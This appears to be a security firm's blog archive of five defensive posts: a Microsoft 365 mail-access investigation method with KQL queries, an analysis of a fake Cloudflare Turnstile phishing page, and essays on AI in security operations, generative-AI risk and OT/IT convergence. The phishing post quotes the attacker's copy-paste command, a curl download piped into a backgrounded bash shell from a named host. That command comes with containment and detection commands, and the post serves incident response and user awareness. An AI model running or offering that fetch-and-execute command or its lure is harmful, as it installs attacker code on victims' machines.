Category Archives: Emerging Threats

Methodology: MailItemsAccessed-Based Investigation for BEC in Microsoft 365

Posted on by
Reply

When your organization faces a business-email compromise (BEC) incident, one of the hardest questions is: “What did the attacker actually read or export?” Conventional logs often show only sign-ins or outbound sends, but not the depth of mailbox item access. The MailItemsAccessed audit event in Microsoft 365 Unified Audit Log (UAL) brings far more visibility — if configured correctly. This article outlines a repeatable, defensible process for investigation using that event, from readiness verification to scoping and reporting.

Objective

Provide a repeatable, defensible process to identify, scope, and validate email exposure in BEC investigations using the MailItemsAccessed audit event.

Phase 1 — Readiness Verification (Pre-Incident)

Before an incident hits, you must validate your logging and audit posture. These steps ensure you’ll have usable data.

1. Confirm Licensing

  • Verify your tenant’s audit plan under Microsoft Purview Audit (Standard or Premium).

    • Audit (Standard): default retention 180 days (previously 90).

    • Audit (Premium): longer retention (e.g., 365 days or more), enriched logs.

  • Confirm that your license level supports the MailItemsAccessed event. Many sources state this requires Audit Premium or an E5-level compliance add-on.

2. Validate Coverage

  • Confirm mailbox auditing is on by default for user mailboxes. Microsoft states this for Exchange Online.

  • Confirm that MailItemsAccessed is part of the default audit set (or if custom audit sets exist, that it’s included). According to Microsoft documentation: the MailItemsAccessed action “covers all mail protocols … and is enabled by default for users assigned an Office 365 E3/E5 or Microsoft 365 E3/E5 licence.”

  • For tenants with customised audit sets, ensure the Microsoft defaults are re-applied so that MailItemsAccessedisn’t inadvertently removed.

3. Retention & Baseline

  • Record what your current audit-log retention policy is (e.g., 180 days vs 365 days) so you know how far back you can search.

  • Establish a baseline volume of MailItemsAccessed events—how many are generated from normal activity. That helps define thresholds for abnormal behaviour during investigation.

Phase 2 — Investigation Workflow (During Incident)

Once an incident is underway and you have suspected mailboxes, follow structured investigation steps.

1. Identify Affected Accounts

From your alarm sources (e.g., anomalous sign-in alerts, inbound or outbound rule creation, unusual inbox rules, compromised credentials) compile a list of mailboxes that might have been accessed.

2. Extract Evidence

In the Purview portal → Audit → filter for Activity = MailItemsAccessed, specifying the time range that covers suspected attacker dwell time.
Export the results to CSV via the Unified Audit Log.

3. Correlate Access Sessions

Group the MailItemsAccessed results by key session indicators:

  • ClientIP

  • SessionId

  • UserAgent / ClientInfoString

Flag sessions that show:

  • Unknown or non-corporate IP addresses (e.g., external ASN)

  • Legacy protocols (IMAP, POP, ActiveSync) or bulk-sync behaviour

  • User agents indicating automated tooling or scripting

4. Quantify Exposure

  • Count distinct ItemIds and FolderPaths to determine how many items and which folders were accessed.

  • Look for throttling indicators (for example more than ~1,000 MailItemsAccessed events in 24 h for a single user may indicate scripted or bulk access).

  • Use the example KQL queries below (see Section “KQL Example Snippets”).

5. Cross-Correlate with Other Events

  • Overlay these results with Send audit events and InboxRule/New-InboxRule events to detect lateral-phish, rule-based fraud or data-staging behaviour.

  • For example, access events followed by mass sends indicate attacker may have read and then exfiltrated or used the account for fraud.

6. Validate Exfil Path

  • Check the client protocol used by the session. If the client is REST API, bulk sync or legacy protocol, that may indicate the attacker is exfiltrating rather than simply reading.

  • If MailItemsAccessed shows items accessed using a legacy IMAP/POP or ActiveSync session — that is a red flag for mass download.

Phase 3 — Analysis & Scoping

Once raw data is collected, move into analysis to scope the incident.

1. Establish Attack Session Timeline

  • Combine sign-in logs (from Microsoft Entra ID Sign‑in Logs) with MailItemsAccessed events to reconstruct dwell time and sequence.

  • Determine when attacker first gained access, how long they stayed, and when they left.

2. Define Affected Items

  • Deliver an itemised summary (folder path, count of items, timestamps) of mailbox items accessed.

  • Limit exposure claims to the items you have logged evidence for — do not assume access of the entire mailbox unless logs show it (or you have other forensic evidence).

3. Corroborate with Throttling and Send Events

  • If you see unusual high-volume access plus spike in Send events or inbox rule changes, you can conclude automated or bulk access occurred.

  • Document IOCs (client IPs, session IDs, user-agent strings) tied to the malicious session.

Phase 4 — Reporting & Validation

After investigation you report findings and validate control-gaps.

1. Evidence Summary

Your report should document:

  • Tenant license type and retention (Audit Standard vs Premium)

  • Audit coverage verification (mailbox auditing enabled, MailItemsAccessed present)

  • Affected item count, folder paths, session data (IPs, protocol, timeframe)

  • Indicators of compromise (IOCs) and signs of mass or scripted access

2. Limitations

Be transparent about limitations:

  • Upgrading to Audit Premium mid-incident will not backfill missing MailItemsAccessed data for the earlier period. Sources note this gap.

  • If mailbox auditing or default audit-sets were customised (and MailItemsAccessed omitted), you may lack full visibility. Example commentary notes this risk.

3. Recommendations

  • Maintain Audit Premium licensing for at-risk tenants (e.g., high-value executive mailboxes or those handling sensitive data).

  • Pre-stage KQL dashboards to detect anomalies (e.g., bursts of MailItemsAccessed, high counts per hour or per day) so you don’t rely solely on ad-hoc searches.

  • Include audit-configuration verification (licensing, mail-audit audit-set, retention) in your regular vCISO or governance audit cadence.

KQL Example Snippets

 
// Detect burst read activity per IP/user
AuditLogs
| where Operation == "MailItemsAccessed"
| summarize Count = count() by UserId, ClientIP, bin(TimeGenerated, 1h)
| where Count > 100

// Detect throttling patterns (scripted or bulk reads)
AuditLogs
| where Operation == "MailItemsAccessed"
| summarize TotalReads = count() by UserId, bin(TimeGenerated, 24h)
| where TotalReads > 1000

MITRE ATT&CK Mapping

Tactic Technique ID
Collection Email Collection T1114.002
Exfiltration Exfiltration Over Web Services T1567.002
Discovery Cloud Service Discovery T1087.004
Defense Evasion Valid Accounts (Cloud) T1078.004

These mappings illustrate how MailItemsAccessed visibility ties directly into attacker-behaviour frameworks in cloud email contexts.

Minimal Control Checklist

  •  Verify Purview Audit plan and retention

  •  Validate MailItemsAccessed events present/searchable for a sample of users

  •  Ensure mailbox auditing defaults (default audit-set) restored and active

  •  Pre-stage anomaly detection queries / dashboards for mailbox-access bursts

Conclusion

When investigating a BEC incident, possession of high-fidelity audit data like MailItemsAccessed transforms your investigation from guesswork into evidence-driven clarity. The key is readiness: licence appropriately, validate your coverage, establish baselines, and when a breach occurs follow a structured workflow from extraction to scoping to reporting. Without that groundwork your post-incident forensics may hit blind spots. But with it you increase your odds of confidently quantifying exposure, attributing access and closing the loop.

Prepare, detect, dissect—repeatably.

References

  1. Microsoft Learn: Manage mailbox auditing – “Mailbox audit logging is turned on by default in all organizations.”

  2. Microsoft Learn: Use MailItemsAccessed to investigate compromised accounts – “The MailItemsAccessed action … is enabled by default for users that are assigned an Office 365 E3/E5 or Microsoft 365 E3/E5 license.”

  3. Microsoft Learn: Auditing solutions in Microsoft Purview – licensing and search prerequisites.

  4. Office365ITPros: Enable MailItemsAccessed event for Exchange Online – “Purview Audit Premium is included in Office 365 E5 and … Audit (Standard) is available to E3 customers.”

  5. TrustedSec blog: MailItemsAccessed woes – “According to Microsoft, this event is only accessible if you have the Microsoft Purview Audit (Premium) functionality.”

  6. Practical365: Microsoft’s slow delivery of MailItemsAccessed audit event – retention commentary.

  7. O365Info: Manage audit log retention policies – up to 10 years for Premium.

  8. Office365ITPros: Mailbox audit event ingestion issues for E3 users.

  9. RedCanary blog: Entra ID service principals and BEC – “MailItemsAccessed is a very high volume record …”

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

A Modern Ruse: When “Cloudflare” Phishing Goes Full-Screen

Posted on by
Reply

Over the years, phishing campaigns have evolved from crude HTML forms to shockingly convincing impersonations of the web infrastructure we rely on every day. The latest example Adam spotted is a masterclass in deception—and a case study in what it looks like when phishing meets full-stack engineering.

Image 720

Let’s break it down.

The Setup

The page loads innocuously. A user stumbles upon what appears to be a familiar Cloudflare “Just a moment…” screen. If you’ve ever browsed the internet behind any semblance of WAF protection, you’ve seen the tell-tale page hundreds of times. Except this one isn’t coming from Cloudflare. It’s fake. Every part of it.

Behind the scenes, the JavaScript executes a brutal move: it stops the current page (window.stop()), wipes the DOM clean, and replaces it with a base64-decoded HTML iframe that mimics Cloudflare’s Turnstile challenge interface. It spoofs your current host into the title bar and dynamically injects the fake content.

A very neat trick—if it weren’t malicious.

The Play

Once the interface loads, it identifies your OS—at least it pretends to. In truth, the script always forces "mac" as the user’s OS regardless of reality. Why? Because the rest of the social engineering depends on that.

It shows terminal instructions and prominently displays a “Copy” button.

The payload?

 
curl -s http[s]://gamma.secureapimiddleware.com/strix/index.php | nohup bash & //defanged the url - MSI

Let that sink in. This isn’t just phishing. This is copy-paste remote code execution. It doesn’t ask for credentials. It doesn’t need a login form. It needs you to paste and hit enter. And if you do, it installs something persistent in the background—likely a beacon, loader, or dropper.

The Tell

The page hides its maliciousness through layers of base64 obfuscation. It forgoes any network indicators until the moment the user executes the command. Even then, the site returns an HTTP 418 (“I’m a teapot”) when fetched via typical tooling like curl. Likely, it expects specific headers or browser behavior.

Notably:

  • Impersonates Cloudflare Turnstile UI with shocking visual fidelity.

  • Forces macOS instructions regardless of the actual user agent.

  • Abuses clipboard to encourage execution of the curl|bash combo.

  • Uses base64 to hide the entire UI and payload.

  • Drops via backgrounded nohup shell execution.

Containment (for Mac targets)

If a user copied and ran the payload, immediate action is necessary. Disconnect the device from the network and begin triage:

  1. Kill live processes:

     
    pkill -f 'curl .*secureapimiddleware\[.]com'
    pkill -f 'nohup bash'

  2. Inspect for signs of persistence:

     
    ls ~/Library/LaunchAgents /Library/Launch* 2>/dev/null | egrep 'strix|gamma|bash'
    crontab -l | egrep 'curl|strix'

  3. Review shell history and nohup output:

     
    grep 'secureapimiddleware' ~/.bash_history ~/.zsh_history
    find ~ -name 'nohup.out'

If you find dropped binaries, reimage the host unless you can verify system integrity end-to-end.

A Lesson in Trust Abuse

This isn’t the old “email + attachment” phishing game. This is trust abuse on a deeper level. It hijacks visual cues, platform indicators, and operating assumptions about services like Cloudflare. It tricks users not with malware attachments, but with shell copy-pasta. That’s a much harder thing to detect—and a much easier thing to execute for attackers.

Final Thought

Train your users not just to avoid shady emails, but to treat curl | bash from the internet as radioactive. No “validation badge” or CAPTCHA-looking widget should ever ask you to run terminal commands.

This is one of the most clever phishing attacks I’ve seen lately—and a chilling sign of where things are headed.

Stay safe out there.

 

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

When the Tools We Embrace Become the Tools They Exploit — AI and Automation in the Cybersecurity Arms Race

Posted on by
Reply

Introduction
We live in a world of accelerating change, and nowhere is that more evident than in cybersecurity operations. Enterprises are rushing to adopt AI and automation technologies in their security operations centres (SOCs) to reduce mean time to detect (MTTD), enhance threat hunting, reduce cyber­alert fatigue, and generally eke out more value from scarce resources. But in parallel, adversaries—whether financially motivated cybercriminal gangs, nation‑states, or hacktivists—are themselves adopting (and in some cases advancing) these same enabling technologies. The result: a moving target, one where the advantage is fleeting unless defenders recognise the full implications, adapt processes and governance, and invest in human‑machine partnerships rather than simply tool acquisition.

A digital image of a brain thinking 4684455

In this post I’ll explore the attacker/defender dynamics around AI/automation, technology adoption challenges, governance and ethics, how to prioritise automation versus human judgement, and finally propose a roadmap for integrating AI/automation into your SOC with realistic expectations and process discipline.

1. Overview of Attacker/Defender AI Dynamics

The basic story is: defenders are trying to adopt AI/automation, but threat actors are often moving faster, or in some cases have fewer constraints, and thus are gaining asymmetric advantages.

Put plainly: attackers are weaponising AI/automation as part of their toolkit (for reconnaissance, social engineering, malware development, evasion) and defenders are scrambling to catch up. Some of the specific offensive uses: AI to craft highly‑persuasive phishing emails, to generate deep‑fake audio or video assets, to automate vulnerability discovery and exploitation at scale, to support lateral movement and credential stuffing campaigns.

For defenders, AI/automation promises faster detection, richer context, reduction of manual drudge work, and the ability to scale limited human resources. But the pace of adoption, the maturity of process, the governance and skills gaps, and the need to integrate these into a human‑machine teaming model mean that many organisations are still in the early innings. In short: the arms race is on, and we’re behind.

2. Key Technology Adoption Challenges: Data, Skills, Trust

As organisations swallow the promise of AI/automation, they often underestimate the foundational requirements. Here are three big challenge areas:

a) Data

  • AI and ML need clean, well‑structured data. Many security operations environments are plagued with siloed data, alert overload, inconsistent taxonomy, missing labels, and legacy tooling. Without good data, AI becomes garbage‑in/garbage‑out.

  • Attackers, on the other hand, are using publicly available models, third‑party tools and malicious automation pipelines that require far less polish—so they have a head start.

b) Skills and Trust

  • Deploying an AI‑powered security tool is only part of the solution. Tuning the models, understanding their outputs, incorporating them into workflows, and trusting them requires skilled personnel. Many SOC teams simply don’t yet have those resources.

  • Trust is another factor: model explainability, bias, false positives/negatives, adversarial manipulation of models—all of these undermine operator confidence.

c) Process Change vs Tool Acquisition

  • Too many organisations acquire “AI powered” tools but leave underlying processes, workflows, roles and responsibilities unchanged. The tool then becomes a silos‑in‑a‑box rather than a transformational capability.

  • Without adjusted processes, organisations can end up with “alert‑spam on steroids” or AI acting as a black box forcing humans to babysit again.

  • In short: People and process matter at least as much as technology.

3. Governance & Ethics of AI in Cyber Defence

Deploying AI and automation in cyber defence doesn’t simply raise technical questions — it raises governance and ethics questions.

  • Organisations need to define who is accountable for AI‑driven decisions (for example a model autonomously taking containment action), how they audit and validate AI output, how they respond if the model is attacked or manipulated, and how they ensure human oversight.

  • Ethical issues include: (i) making sure model biases don’t produce blind spots or misclassifications; (ii) protecting privacy when feeding data into ML systems; (iii) understanding that attackers may exploit the same models or our systems’ dependence on them; and (iv) ensuring transparency where human decision‑makers remain in the loop.

A governance framework should address model lifecycle (training, validation, monitoring, decommissioning), adversarial threat modeling (how might the model itself be attacked), and human‑machine teaming protocols (when does automation act, when do humans intervene).

4. Prioritising Automation vs Human Judgement

One of the biggest questions in SOC evolution is: how do we draw the line between automation/AI and human judgment? The answer: there is no single line — the optimal state is human‑machine collaboration, with clearly defined tasks for each.

  • Automation‑first for repetitive, high‑volume, well‑defined tasks: For example, triage of alerts, enrichment of IOC/IOA (indicators/observables), initial containment steps, known‑pattern detection. AI can accelerate these tasks, free up human time, and reduce mean time to respond.

  • Humans for context, nuance, strategy, escalation: Humans bring judgement, business context, threat‑scenario understanding, adversary insight, ethics, and the ability to handle novel or ambiguous situations.

  • Define escalation thresholds: Automation might execute actions up to a defined confidence level; anything below should escalate to a human analyst.

  • Continuous feedback loop: Human analysts must feed back into model tuning, rules updates, and process improvement — treating automation as a living capability, not a “set‑and‑forget” installation.

  • Avoid over‑automation risks: Automating without oversight can lead to automation‑driven errors, cascading actions, or missing the adversary‑innovation edge. Also, if you automate everything, you risk deskilling your human team.

The right blend depends on your maturity, your toolset, your threat profile, and your risk appetite — but the underlying principle is: automation should augment humans, not replace them.

5. Roadmap for Successful AI/Automation Integration in the SOC

  1. Assess your maturity and readiness

  2. Define use‑cases with business value

  3. Build foundation: data, tooling, skills

  4. Pilot, iterate, scale

  5. Embed human‑machine teaming and continuous improvement

  6. Maintain governance, ethics and risk oversight

  7. Stay ahead of the adversary

(See main post above for in-depth detail on each step.)

Conclusion: The Moving Target and the Call to Action

The fundamental truth is this: when defenders pause, attackers surge. The race between automation and AI in cyber defence is no longer about if, but about how fast and how well. Threat actors are not waiting for your slow adoption cycles—they are already leveraging automation and generative AI to scale reconnaissance, craft phishing campaigns, evade detection, and exploit vulnerabilities at speed and volume. Your organisation must not only adopt AI/automation, but adopt it with the right foundation, the right process, the right governance and the right human‑machine teaming mindset.

At MicroSolved we specialise in helping organisations bridge the gap between technological promise and operational reality. If you’re a CISO, SOC manager or security‑operations leader who wants to –

  • understand how your data, processes and people stack up for AI/automation readiness

  • prioritise use‑cases that drive business value rather than hype

  • design human‑machine workflows that maximise SOC impact

  • embed governance, ethics and adversarial AI awareness

  • stay ahead of threat actors who are already using automation as a wedge into your environment

… then we’d welcome a conversation. Reach out to us today at info@microsolved.com or call +1.614.351.1237and let’s discuss how we can help you move from reactive to resilient, from catching up to keeping ahead.

Thanks for reading. Be safe, be vigilant—and let’s make sure the advantage stays with the good guys.

References

  1. ISC2 AI Adoption Pulse Survey 2025

  2. IBM X-Force Threat Intelligence Index 2025

  3. Accenture State of Cybersecurity Resilience 2025

  4. Cisco 2025 Cybersecurity Readiness Index

  5. Darktrace State of AI Cybersecurity Report 2025

  6. World Economic Forum: Artificial Intelligence and Cybersecurity Report 2025

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Securing AI / Generative AI Use in the Enterprise: Risks, Gaps & Governance

Posted on by
Reply

Imagine this: a data science team is evaluating a public generative AI API to help with summarization of documents. One engineer—trying to accelerate prototyping—uploads a dataset containing customer PII (names, addresses, payment tokens) without anonymization. The API ingests that data. Later, another user submits a prompt that triggers portions of the PII to be regurgitated in an output. The leakage reaches customers, regulators, and media.

This scenario is not hypothetical. As enterprise adoption of generative AI accelerates, organizations are discovering that the boundary between internal data and external AI systems is porous—and many have no governance guardrails in place.

VendorRiskAI

According to a recent report, ~89% of enterprise generative AI usage is invisible to IT oversight—that is, it bypasses sanctioned channels entirely. Another survey finds that nearly all large firms deploying AI have seen risk‑related losses tied to flawed outputs, compliance failures, or bias.

The time to move from opportunistic pilots toward robust governance and security is now. In this post I map the risk taxonomy, expose gaps, propose controls and governance models, and sketch a maturity roadmap for enterprises.

Risk Taxonomy

Below I classify major threat vectors for AI / generative AI in enterprise settings.

1. Model Poisoning & Adversarial Inputs

  • Training data poisoning: attackers insert malicious or corrupted data into the training set so that the model learns undesirable associations or backdoors.

  • Backdoor / trigger attacks: a model behaves normally unless a specific trigger pattern (e.g. a token or phrase) is present, which causes malicious behavior.

  • Adversarial inputs at inference time: small perturbations or crafted inputs cause misclassification or manipulation of model outputs.

  • Prompt injection / jailbreaking: an end user crafts prompts to override constraints, extract internal context, or escalate privileges.

2. Training Data Leakage

  • Sensitive training data (proprietary IP, PII, trade secrets) may inadvertently be memorized by large models and revealed via probing.

  • Even with fine‑tuning, embeddings or internal layers might leak associations that can be reverse engineered.

  • Leakage can also occur via model updates, snapshots, or transfer learning pipelines.

3. Inference-Time Output Attacks & Leakage

  • Model outputs might infer relationships (e.g. “given X, the missing data is Y”) that were not explicitly in training but learned implicitly.

  • Large models can combine inputs across multiple queries to reconstruct confidential data.

  • Malicious users can sample outputs exhaustively or probe with adversarial prompts to elicit sensitive data.

4. Misuse & “Shadow AI”

  • Shadow AI: employees use external generative tools outside IT visibility (e.g. via personal ChatGPT accounts) and paste internal documents, violating policy and leaking data.

  • Use of unconstrained AI for high-stakes decisions without validation or oversight.

  • Automation of malicious behaviors (fraud, social engineering) via internal AI capabilities.

5. Compliance, Privacy & Governance Risks

  • Violation of data protection regulations (e.g. GDPR, CCPA) via improper handling or cross‑boundary transfer of PII.

  • In regulated industries (healthcare, finance), AI outputs may inadvertently produce disallowed inferences or violate auditability requirements.

  • Lack of explainability or audit trails makes it hard to prove compliance or investigate incidents.

  • Model decisions may reflect bias, unfairness, or discriminatory patterns that trigger regulatory or reputational liabilities.

Gaps in Existing Solutions

  • Traditional security tooling is blind to AI risks: DLP, EDR, firewall rules do not inspect semantic inference or prompt-based leakage.

  • Lack of visibility into model internals: Most deployed models (especially third‑party or foundation models) are black boxes.

  • Sparse standards & best practices: While frameworks exist (NIST AI RMF, EU AI Act, ISO proposals), concrete guidance for securing generative AI in enterprises is immature.

  • Tooling mismatch: Many AI governance tools are nascent and do not integrate smoothly with existing enterprise security stacks.

  • Team silos: Data science, DevOps, and security often operate in silos. Defects emerge at the intersection.

  • Skill and resource gaps: Few organizations have staff experienced in adversarial ML, formal verification, or privacy-preserving AI.

  • Lifecycle mismatch: AI models require continuous retraining, drift detection, versioning—traditional security is static.

Governance & Defensive Strategies

Below are controls, governance practices, and architectural strategies enterprises should consider.

AI Risk Assessment / Classification Framework

  • Inventorize all AI / ML assets (foundation models, fine‑tuned models, inference APIs).

  • Classify models by risk tier (e.g. low / medium / high) based on sensitivity of inputs/outputs, business criticality, and regulatory impact.

  • Map threat models for each asset: e.g. poisoning, leakage, adversarial use.

  • Integrate this with enterprise risk management (ERM) and vendor risk processes.

Secure Development & DevSecOps for Models

  • Embed adversarial testing, fuzzing, red‑teaming in model training pipelines.

  • Use data validation, anomaly detection, outlier filtering before ingesting training data.

  • Employ version control, model lineage, and reproducibility controls.

  • Build a “model sandbox” environment with strict controls before production rollout.

Access Control, Segmentation & Audit Trails

  • Enforce least privilege access for training data, model parameters, hyperparameters.

  • Use role-based access control (RBAC) and attribute-based access (ABAC) for model execution.

  • Maintain full audit logging of prompts, responses, model invocations, and guardrails.

  • Segment model infrastructure from general infrastructure (use private VPCs, zero trust).

Privacy / Sanitization Techniques

  • Use differential privacy to add noise and limit exposure of individual records.

  • Use secure multiparty computation (SMPC) or homomorphic encryption for sensitive computations.

  • Apply data anonymization / tokenization / masking before use.

  • Use output filtering / content policies to supersede model outputs that might leak or violate policy.

Monitoring, Anomaly Detection & Runtime Guardrails

  • Monitor model outputs for anomalies, drift, suspicious prompting patterns.

  • Use “canary” prompts or test probes to detect model corruption or behavior shifts.

  • Rate-limit or throttle requests to model endpoints.

  • Use AI-defense systems to detect prompt injection or malicious patterns.

  • Flag or block high-risk output paths (e.g. outputs that contain PII, internal config, backdoor triggers).

Operational Integration

Security–Data Science Collaboration

  • Embed security engineers in the AI development lifecycle (shift-left).

  • Educate data scientists in adversarial ML, model risks, privacy constraints.

  • Use cross-functional review boards for high-risk model deployments.

Shadow AI Discovery & Mitigation

  • Monitor outbound traffic or SaaS logins for generative AI usage.

  • Use SaaS monitoring tools or proxy policies to intercept and flag unsanctioned AI use.

  • Deploy internal tools or wrappers for generative AI that inject audit controls.

  • Train employees and publish acceptable use policies for AI usage.

Runtime Controls & Continuous Testing

  • Periodically red-team models (both internal and third-party) to detect vulnerabilities.

  • Revalidate models after each update or retrain.

  • Set up incident response plans specific to AI incidents (model rollback, containment).

  • Conduct regular audits of model behavior, logs, and drift performance.

Case Studies & Real-World Failures & Successes

  • Researchers have found that injecting as few as 250 malicious documents can backdoor a model.

  • Foundation model leakage incidents have been demonstrated in academic research (models regurgitating verbatim input).

  • Organizations like Microsoft Azure, Google Cloud, and OpenAI are starting to offer tools and guardrails (rate limits, privacy options, usage logging) to support enterprise introspection.

  • Some enterprises are mandating all internal AI interactions to flow through a “governed AI proxy” layer to filter or scrub prompts/outputs.

Roadmap / Maturity Model

I propose a phased model:

  1. Awareness & Inventory

    • Catalog AI/ML assets

    • Basic training & policies

    • Executive buy-in

  2. Baseline Controls

    • Access controls, audit logging

    • Data sanitization & DLP for AI pipelines

    • Shadow AI monitoring

  3. Model Protection & Hardening

    • Differential privacy, adversarial testing, prompt filters

    • Runtime anomaly detection

    • Sandbox staging

  4. Audit, Metrics & Continuous Improvement

    • Regular red teaming

    • Drift detection & revalidation

    • Integration into ERM / compliance

    • Internal assurance & audit loops

  5. Advanced Guardrails & Automation

    • Automated policy enforcement

    • Self-healing / rollback mechanisms

    • Formal verification, provable defenses

    • Model explainability & transparency audits

By advancing along this maturity curve, enterprises can evolve from reactive posture to proactive, governed, and resilient AI operations—reducing risk while still reaping the transformative potential of generative technologies.

Need Help or More Information?

Contact MicroSolved and put our deep expertise to work for you in this area. Email us (info@microsolved.com) or give us a call (+1.614.351.1237) for a no-hassle, no-pressure discussion of your needs and our capabilities. We look forward to helping you protect today and predict what is coming next. 

 

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

OT & IT Convergence: Defending the Industrial Attack Surface in 2025

Posted on by
Reply

In 2025, the boundary between IT and operational technology (OT) is more porous than ever. What once were siloed environments are now deeply intertwined—creating new opportunities for efficiency, but also a vastly expanded attack surface. For industrial, manufacturing, energy, and critical infrastructure operators, the stakes are high: disruption in OT is real-world damage, not just data loss.

PLC

This article lays out the problem space, dissecting how adversaries move, where visibility fails, and what defense strategies are maturing in this fraught environment.

The Convergence Imperative — and Its Risks

What Is IT/OT Convergence?

IT/OT convergence is the process of integrating information systems (e.g. ERP, MES, analytics, control dashboards) with OT systems (e.g. SCADA, DCS, PLCs, RTUs). The goal: unify data flows, enable predictive maintenance, real-time monitoring, control logic feedback loops, operational analytics, and better asset management.

Yet, as IT and OT merge, their worlds’ assumptions—availability, safety, patch cycles, threat models—collide. OT demands always-on control; IT is optimized for data confidentiality and dynamic architecture. Bridging the two without opening the gates to compromise is the core challenge.

Why 2025 Is Different (and Dangerous)

  • Attacks are physical now. The 2025 Waterfall Threat Report shows a dramatic rise in attacks with physical consequences—shut-downs, equipment damage, lost output. Waterfall Security Solutions

  • Ransomware and state actors converge on OT. OT environments are now a primary target for adversaries aiming for disruption, not just data theft. zeronetworks.com+2Industrial Cyber+2

  • Device proliferation, blind spots. The explosion of IIoT/OT-connected sensors and actuators means incremental exposures mount. Nexus+2IAEE+2

  • Legacy systems with little guardrails. Many OT systems were never built with security in mind; patching is difficult or impossible. SSH+2Industrial Cyber+2

  • Stronger regulation and visibility demands. Critical infrastructure sectors face growing pressure—and liability—for cyber resilience. Honeywell+2Fortinet+2

  • Maturing defenders. Some organizations are already reducing attack frequency through segmentation, threat intelligence, and leadership-driven strategies. Fortinet

Attack Flow: From IT to OT — How the Adversary Moves

Understanding attacker paths is key to defending the convergence.

  1. Initial foothold in IT. Phishing, vulnerabilities, supply chain, remote access are typical vectors.

  2. Lateral movement toward bridging zones. Jump servers, VPNs, misconfigured proxies, flat networks let attackers pivot. Industrial Cyber+2zeronetworks.com+2

  3. Transit through DMZ / industrial demilitarized zones. Poorly controlled conduits allow protocol bridging, data transfer, or command injection. iotsecurityinstitute.com+2Palo Alto Networks+2

  4. Exploit OT protocols and logic. Once in the OT zone, attackers abuse weak or proprietary protocols (Modbus, EtherNet/IP, S7, etc.), manipulate command logic, disable safety interlocks. arXiv+2iotsecurityinstitute.com+2

  5. Physical disruption or sabotage. Alter sensor thresholds, open valves, shut down systems, or destroy equipment.

Because OT environments often have weaker monitoring and fewer detection controls, malicious actions may go unnoticed until damage occurs.

The Visibility & Inventory Gap

You can’t protect what you can’t see.

  • Publicly exposed OT devices number in the tens of thousands globally—many running legacy firmware with known critical vulnerabilities. arXiv

  • Some organizations report only minimal visibility into OT activity within central security operations. Nasstar

  • Legacy or proprietary protocols (e.g. serial, Modbus, nonstandard encodings) resist detection by standard IT tools.

  • Asset inventories are often stale, manual, or incomplete.

  • Patch lifecycle data, firmware versions, configuration drift are poorly tracked in OT systems.

Bridging that visibility gap is a precondition for any robust defense in the converged world.

Architectural Controls: Segmentation, Microperimeters & Zero Trust for OT

You must treat OT not as a static, trusted zone but as a layered, zero-trust-aware domain.

1. Zone & Conduit Model

Apply segmentation by functional zones (process control, supervisory, DMZ, enterprise) and use controlled conduits for traffic. This limits blast radius. iotsecurityinstitute.com+2Palo Alto Networks+2

2. Microperimeters & Microsegmentation

Within a zone, restrict east-west traffic. Only permit communications justified by policy and process. Use software-defined controls or enforcement at gateway devices.

3. Zero Trust Principles for OT

  • Least privilege access: Human, service, and device accounts should only have the rights they need to perform tasks. iotsecurityinstitute.com+1

  • Continuous verification: Authenticate and revalidate sessions, devices, and commands.

  • Context-based access: Enforce access based on time, behavior, process state, operational context.

  • Secure access overlays: Replace jump boxes and VPNs with secure, isolated access conduits that broker access rather than exposing direct paths. Industrial Cyber+1

4. Isolation & Filtering of Protocols

Deep understanding of OT protocols is required to permit or deny specific commands or fields. Use protocol-aware firewalls or DPI (deep packet inspection) for industrial protocols.

5. Redundancy & Fail-Safe Paths

Architect fallback paths and redundancy such that the failure of a security component doesn’t cascade into OT downtime.

Detection & Response in OT Environments

Because OT environments are often low-change, anomaly-based detection is especially valuable.

Anomaly & Behavioral Monitoring

Use models of normal process behavior, network traffic baselines, and device state transitions to detect deviations. This approach catches zero-days and novel attacks that signature tools miss. Nozomi Networks+2zeronetworks.com+2

Protocol-Aware Monitoring

Deep inspection of industrial protocols (Modbus, DNP3, EtherNet/IP, S7) lets you detect invalid or dangerous commands (e.g. disabling PLC logic, spoofing commands).

Hybrid IT/OT SOCs & Playbooks

Forging a unified operations center that spans IT and OT (or tightly coordinates) is vital. Incident playbooks should understand process impact, safe rollback paths, and physical fallback strategies.

Response & Containment

  • Quarantine zones or devices quickly.

  • Use “safe shutdown” logic rather than blunt kill switches.

  • Leverage automated rollback or fail-safe states.

  • Ensure forensic capture of device commands and logs for post-mortem.

Patch, Maintenance & Change in OT Environments

Patching is thorny in OT—disrupting uptime or control logic can have dire consequences. But ignoring vulnerabilities is not viable either.

Risk-Based Patch Prioritization

Prioritize based on:

  1. Criticality of the device (safety, control, reliability).

  2. Exposure (whether reachable from IT or remote networks).

  3. Known exploitability and threat context.

Scheduled Windows & Safe Rollouts

Use maintenance windows, laboratory testing, staged rollouts, and fallback plans to apply patches in controlled fashion.

Virtual Patching / Compensating Controls

Where direct patching is impractical, employ compensating controls—firewall rules, filtering, command-level controls, or wrappers that mediate traffic.

Vendor Coordination & Secure Updates

Work with vendors for safe update mechanisms, integrity verification, rollback capability, and cryptographic signing of firmware.

Configuration Lockdown & Hardening

Disable unused services, remove default accounts, enforce least privilege controls, and lock down configuration interfaces. Industrial Cyber

Operating in Hybrid Environments: Best Practices & Pitfalls

  • Journeys, not Big Bangs. Start with a pilot cell or site; mature gradually.

  • Cross-domain teams. Build integrated IT/OT guardrails teams; train OT engineers with security awareness and IT folk with process sensitivity. iotsecurityinstitute.com+2Secomea+2

  • Change management & governance. Formal processes must span both domains, with risk acceptance, escalation, and rollback capabilities.

  • Security debt awareness. Legacy systems will always exist; plan compensating controls, migration paths, or compensating wrappers.

  • Simulation & digital twins. Use testbeds or digital twins to validate security changes before deployment.

  • Supply chain & third-party access. Strong control over third-party remote access is essential—no direct device access unless brokered and constrained. Industrial Cyber+2zeronetworks.com+2

Governance, Compliance & Regulatory Alignment

  • Map your security controls to frameworks such as ISA/IEC 62443, NIST SP 800‑82, and relevant national ICS/OT guidelines. iotsecurityinstitute.com+2Tenable®+2

  • Develop risk governance that includes process safety, availability, and cybersecurity in tandem.

  • Align with critical infrastructure regulation (e.g. NIS2 in Europe, SEC cyber rules, local ICS/OT mandates). Honeywell+1

